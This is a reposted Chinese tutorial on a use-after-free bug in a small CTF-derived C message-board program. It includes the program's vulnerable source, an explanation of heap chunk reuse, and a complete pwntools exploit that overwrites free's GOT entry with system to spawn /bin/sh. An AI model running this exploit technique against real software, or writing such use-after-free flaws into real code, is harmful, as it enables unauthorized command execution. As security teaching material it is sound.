博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
通过UseAfterFree实现命令执行
阅读量:5925 次
发布时间:2019-06-19

本文共 13315 字,大约阅读时间需要 44 分钟。

本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。

漏洞程序,是一个用链表实现的简单留言板,用户可以查看消息,并对相关的消息进行:回复、删除、修改。

漏洞代码uaf.c如下:

#include 
#include
#include
#include
#include
#include
struct Message { int reply_count; struct Message* nextMsg; int msgid; char* author; int author_size; char* title; int title_size; char* content; int content_size; int total_num;};struct Message * head, *tail;char input_buffer[0x1000];void read_input(char * buf, int read_len, int buf_size) { if (NULL == buf || read_len <= 0) return; memset(buf, 0, buf_size); int i = 0; char temp_char; while (1) { temp_char = getchar(); if (i < read_len) buf[i] = temp_char; if (temp_char == 0xA) break; i++; }} uint32_t read_input_uint(char *buf, int read_len, int buf_size) { read_input(buf, read_len, buf_size); return strtoul(buf, 0, 10);}void insertMessage(int messageId) { struct Message* tmp = head; while (tmp->nextMsg != tail) { tmp = tmp->nextMsg; } struct Message * new_msg; new_msg = (struct Message *) malloc(sizeof(struct Message)); new_msg->msgid = messageId; write(STDOUT_FILENO, "input you name len:\n", 20); new_msg->author_size = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); new_msg->author = (char *) malloc(new_msg->author_size); write(STDOUT_FILENO, "input you name:\n", 16); read_input(new_msg->author, new_msg->author_size, new_msg->author_size); write(STDOUT_FILENO, "input you title len:\n", 21); new_msg->title_size = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); new_msg->title = (char *) malloc(new_msg->title_size); write(STDOUT_FILENO, "input you title:\n", 17); read_input(new_msg->title, new_msg->title_size, new_msg->title_size); write(STDOUT_FILENO, "input you content len:\n", 23); new_msg->content_size = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); new_msg->content = (char *) malloc(new_msg->content_size); write(STDOUT_FILENO, "input you content:\n", 19); read_input(new_msg->content, new_msg->content_size, new_msg->content_size); new_msg->nextMsg = tmp->nextMsg; tmp->nextMsg = new_msg;}struct Message * print_msg(int msgid) { struct Message* tmp = head; while (tmp != tail) { if (tmp->msgid == msgid) { write(STDOUT_FILENO, "msg author:", 11); write(STDOUT_FILENO, tmp->author, tmp->author_size); write(STDOUT_FILENO, ",msg title:", 11); write(STDOUT_FILENO, tmp->title, tmp->title_size); write(STDOUT_FILENO, ",msg content:", 13); write(STDOUT_FILENO, tmp->content, tmp->content_size); //write(STDOUT_FILENO, ",msg reply count:", 17); //write(STDOUT_FILENO, tmp->reply_count, 4); write(STDOUT_FILENO, "\n", 1); /*printf( "\nmsg author:%s, msg title %s,msg content %s, msg reply count %d\n", tmp->author, tmp->title, tmp->content, tmp->reply_count);*/ return tmp; } tmp = tmp->nextMsg; } return NULL;}void delete_msg(struct Message * delmsg) { //delete linked list msg and free struct Message* tmp = head; while (tmp->nextMsg != delmsg) { tmp = tmp->nextMsg; } tmp->nextMsg = delmsg->nextMsg; //free free(delmsg->author); free(delmsg->content); free(delmsg->title); free(delmsg);}void modify_msg(struct Message * modifymsg) { int size = 0; char temp[0x100]; write(STDOUT_FILENO, "input new name len:\n", 20); size = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); if (size > 0x100) return; write(STDOUT_FILENO, "input new name:\n", 16); read_input(temp, size, 0x100); memcpy(modifymsg->author, temp, size); modifymsg->author_size= size; write(STDOUT_FILENO, "input new title len:\n", 21); size = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); if (size > 0x100) return; write(STDOUT_FILENO, "input new title:\n", 17); read_input(temp, size, 0x100); memcpy(modifymsg->title, temp, size); modifymsg->title_size= size; write(STDOUT_FILENO, "input new content len:\n", 23); size = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); if (size > 0x100) return; write(STDOUT_FILENO, "input new content:\n", 19); read_input(temp, size, 0x100); modifymsg->content = (char *) malloc(size); memcpy(modifymsg->content, temp, size); modifymsg->content_size= size;}void main() { struct Message HEAD, TAIL; head = &HEAD; tail = &TAIL; head->nextMsg = tail; head->msgid = 0; tail->nextMsg = NULL; tail->msgid = -1; char usage[128] = "1.leave your message, 2.read the message,3.exit; please input you choice.\n"; char operate_usage[80] = "Please select the operate: 1.delete 2.modify 3.add reply 4.back\n"; int cmd = 0, msg_count = 0, operate = 0; while (1) { write(STDOUT_FILENO, usage, strlen(usage)); read_input(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); sscanf(input_buffer, "%d", &cmd); switch (cmd) { case 1: //添加留言 msg_count++; insertMessage(msg_count); break; case 2: write(STDOUT_FILENO, "input msgid will read:\n", 23); int read_msg_id = 0; read_input(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); sscanf(input_buffer, "%d", &read_msg_id); struct Message * read_msg = print_msg(read_msg_id); if (read_msg == NULL) { //write(STDOUT_FILENO, "msgid error\n", 12); return; } while (1) { write(STDOUT_FILENO, operate_usage, strlen(operate_usage)); operate = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer)); //sscanf(input_buffer, "%d", &operate); if (operate == 1) { delete_msg(read_msg); } else if (operate == 2) { modify_msg(read_msg); } else if (operate == 3) { read_msg->reply_count++; } else if (operate == 4) { break; } } break; case 3: write(STDOUT_FILENO, "exit\n", 5); return; } } }

Uaf程序的基本操作如下:1可以添加留言,2可以查看留言内容,查看完留言内容后,可以选择对浏览内容进行修改,增加回复和删除。

daizy@daizy-VirtualBox:~/Documents/vuln$

./uaf

1.leave

your message, 2.read the message,3.exit; please input you choice.

1

input

you name len:

4

input

you name:

test

input

you title len:

4

input

you title:

test

input

you content len:

5

input

you content:

hello

1.leave

your message, 2.read the message,3.exit; please input you choice.

2

input

msgid will read:

1

msg

author:test,msg title:test,msg content:hello

Please

select the operate: 1.delete 2.modify 3.add reply 4.back

2

input

new name len:

5

input

new name:

daizy

input

new title len:

5

input

new title:

hello

input

new content len:

11

input

new content:

hello,daizy

Please

select the operate: 1.delete 2.modify 3.add reply 4.back

4

1.leave

your message, 2.read the message,3.exit; please input you choice.

2

input

msgid will read:

1

msg

author:daizy,msg title:hello,msg content:hello,daizy

Please

select the operate: 1.delete 2.modify 3.add reply 4.back

1

Please

select the operate: 1.delete 2.modify 3.add reply 4.back

4

1.leave

your message, 2.read the message,3.exit; please input you choice.

3

exit

UseAfterFree漏洞形成原因

链表节点被删除后,可以进入modify_msg函数,modify_msg函数之后可以继续进入modify_msg函数。

while (1) {                write(STDOUT_FILENO, operate_usage, strlen(operate_usage));                operate = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer));                //sscanf(input_buffer, "%d", &operate);                if (operate == 1) {                    delete_msg(read_msg);                } else if (operate == 2) {                    modify_msg(read_msg);                } else if (operate == 3) {                    read_msg->reply_count++;                } else if (operate == 4) {                    break;                } }

delete_msg函数如下:

void delete_msg(struct Message * delmsg) {    //delete linked list msg and free    struct Message* tmp = head;    while (tmp->nextMsg != delmsg) {        tmp = tmp->nextMsg;    }    tmp->nextMsg = delmsg->nextMsg;    //free    free(delmsg->author);    free(delmsg->content);    free(delmsg->title);    free(delmsg);}

delete_msg函数中对节点进行了free操作,如果在循环代码中,进行delete操作,释放节点后,在选择2进入modify_msg函数,modify_msg会根据用户输入的内容,重新分配堆内存。

modify_msg函数如下 :

void modify_msg(struct Message * modifymsg) {    int size = 0;    char temp[0x100];     write(STDOUT_FILENO, "input new name len:\n", 20);    size = read_input_uint(input_buffer, sizeof(input_buffer),            sizeof(input_buffer));    if (size > 0x100)        return;    write(STDOUT_FILENO, "input new name:\n", 16);    read_input(temp, size, 0x100);    memcpy(modifymsg->author, temp, size);    modifymsg->author_size= size;     write(STDOUT_FILENO, "input new title len:\n", 21);    size = read_input_uint(input_buffer, sizeof(input_buffer),            sizeof(input_buffer));    if (size > 0x100)        return;    write(STDOUT_FILENO, "input new title:\n", 17);    read_input(temp, size, 0x100);    memcpy(modifymsg->title, temp, size);    modifymsg->title_size= size;     write(STDOUT_FILENO, "input new content len:\n", 23);    size = read_input_uint(input_buffer, sizeof(input_buffer),            sizeof(input_buffer));    if (size > 0x100)        return;    write(STDOUT_FILENO, "input new content:\n", 19);    read_input(temp, size, 0x100);    modifymsg->content = (char *) malloc(size);          //新分配一个content    memcpy(modifymsg->content, temp, size);    modifymsg->content_size= size;}

modify_msg函数从用户读取数据,然后拷贝到对应的指针中,但此时使用的是一个已经释放的msg结构指针。当输入content时,会取content的长度作为大小分配内存,当分配内存大小等于msg结构大小(x86上是40字节,会将刚才释放的内存分配给content指针。此外由于msg结构指针刚好是40个字节,再给msg分配堆内存是,由于需要8字节对齐,而40个字节+8字节[prev_size+size],刚好8字节对齐,另外由于40字节,在堆中属于fastbin管理,不会发生合并,free后再分配时,就会返回相同的堆块)。

接着会将用户输入的内容(content)拷贝到content指针中,即我们构造的恶意内容,覆盖了原来的Message中的char* author、char* title等地址内容。

整个msg变化过程,如下图所示:

v2-1bcb24d5c6cfe942965f63ce68a0ac44_b.jp

在循环代码中,modify_msg完之后可以继续进入modify_msg,此时msg中相关地址,如author、title和content地址已经变成free函数在got表中的位置,也就是我们输入的内容可以覆盖GOT表!我们把free函数的GOT表地址覆盖成system函数地址,下次在执行free函数时,就会执行system函数,从而达到命令执行。

最终漏洞的exp代码如下:

#!/usr/bin/env pythonfrom pwn import * __author__="daizy" def add_new_msg(cmd, name_len, name, title_len, title, content_len, content):        p.recvuntil("\n")        cmd = str(cmd)+ "\n"        p.send(cmd)        p.recvuntil("\n")   #input name size        p.send(str(name_len) + "\n")        p.recvuntil("\n")  # input name        p.send(name + "\n")    p.recvuntil("\n")   #input title size        p.send(str(title_len) + "\n")        p.recvuntil("\n")  # input title        p.send(title + "\n")    p.recvuntil("\n")   #input content size        p.send(str(content_len) + "\n")        p.recvuntil("\n")  # input content        p.send(content + "\n")def print_msg(cmd, msg_index):        p.recvuntil("\n")        cmd = str(cmd)+ "\n"        p.send(cmd)    p.recvuntil("\n")        cmd = str(msg_index)+ "\n"        p.send(cmd)    p.recvuntil("\n")   #print msg infodef delete_msg(cmd):    p.recvuntil("\n")        cmd = str(cmd)+ "\n"        p.send(cmd)def modify_msg(cmd, name_len, name, title_len, title, content_len, content):    p.recvuntil("\n")        cmd = str(cmd)+ "\n"        p.send(cmd)    p.recvuntil("\n")   #input new name size        p.send(str(name_len) + "\n")        p.recvuntil("\n")  # input new name        p.send(name + "\n")    p.recvuntil("\n")   #input new title size        p.send(str(title_len) + "\n")        p.recvuntil("\n")  # input new title        p.send(title + "\n")    p.recvuntil("\n")   #input new content size        p.send(str(content_len) + "\n")        p.recvuntil("\n")  # input new content        p.send(content + "\n")def back_msg_main(cmd):        p.recvuntil("\n")        cmd = str(cmd) + "\n"        p.send(cmd) if __name__ == "__main__":        libc = ELF('libc.so')        elf = ELF('uaf')                 p = process('./uaf')        #p = remote('127.0.0.1', 15000)                 libc_system = libc.symbols['system']        libc_free = libc.symbols['free']        offset_sys_free = libc_system - libc_free        print '\noffset_sys_free= ' + hex(offset_sys_free)                 got_free = elf.got['free']        print '\ngot_free= ' + hex(got_free)        #step 1 add two msg,msg two's author,title,content is /bin/sh        print "\nadd new msg"        add_new_msg(1, 4,"test", 4, "test", 5, "hello")        add_new_msg(1, 7,"/bin/sh", 7,"/bin/sh", 7,"/bin/sh")        #step2 print the new msg        print "\n step2 print msg by msgid"        print_msg(2, 1)        #step3 delete the new msg        print "\n setp3 delete msg"        delete_msg(1)         #step4 modify the delete msg        print "\n step4 modify msg"        content = "c"*12 + p32(got_free) + "c"*4+p32(got_free) + "c"*4+p32(got_free) + "c"*8        modify_msg(2, 4, "test", 4, "test", 40, content)        #step5 calculate system address and second modify the delete msg to write system address to got.free        print "\nstep5 calculate system address and write to got.free"        free_addr = int(raw_input("free address:"), 16)        system_addr = free_addr + offset_sys_free        modify_msg(2, 4, p32(system_addr), 4, p32(system_addr), 4, p32(system_addr))                 #step 6 exit msg operate and back to add new msg        print "\nback to msg main"        back_msg_main(4)        #step 7 free('/bin/sh') ->system('/bin/sh')        print "\nfree('/bin/sh') ->system('/bin/sh')"        #print "\nprint new msg2"        print_msg(2, 2)        #print "\n free new msg2->system"        delete_msg(1)        p.interactive()

由于print_msg函数在modify_msg函数的上一层,也就是无法通过print指定地址上的内容造成信息泄露,所以上述free函数的地址是通过运行时,gdb

-pid 5519获得,得到free函数地址后,需要退出gdb程序,否则主程序无法进行下一步。

当然也可以通过指定一个free函数地址,爆破n次,也可以获得成功。

exp运行结果如下:

v2-e7f42e988878cad96864dcf8faa38e41_b.jp

本文由看雪翻译小组 uestcdzy 原创

转载地址:http://dtovx.baihongyu.com/

你可能感兴趣的文章
com.fasterxml.jackson.databind.JsonMappingException: No content to map due to end-of-input
查看>>
OpenGL® ES 3.0 Programming Guide - Book Website
查看>>
Sql Server 优化 SQL 查询:如何写出高性能SQL语句
查看>>
合并Spark社区代码的正确姿势
查看>>
【神经网络】神经网络结构在命名实体识别(NER)中的应用
查看>>
@Springboot搭建项目controller层接收json格式的对象失败
查看>>
实现网站验证码切换功能
查看>>
Atom编辑Markdown文件保存后行尾的空格自动消失的问题解决
查看>>
jquery.cookie.js 使用小结
查看>>
3.菜鸟教你一步一步开发 web service 之 axis 服务端创建
查看>>
Rabbitmq~对Vhost的配置
查看>>
HTML基础第四讲---图像
查看>>
html5--3.2 input元素(1)
查看>>
JAVA生成并导出json文件
查看>>
详谈如何定制自己的博客园皮肤【转】
查看>>
ios元素定位
查看>>
基于FPGA的异步FIFO设计
查看>>
MPMoviePlayerController属性方法简介
查看>>
带参数的宏替换
查看>>
linux内存回收机制
查看>>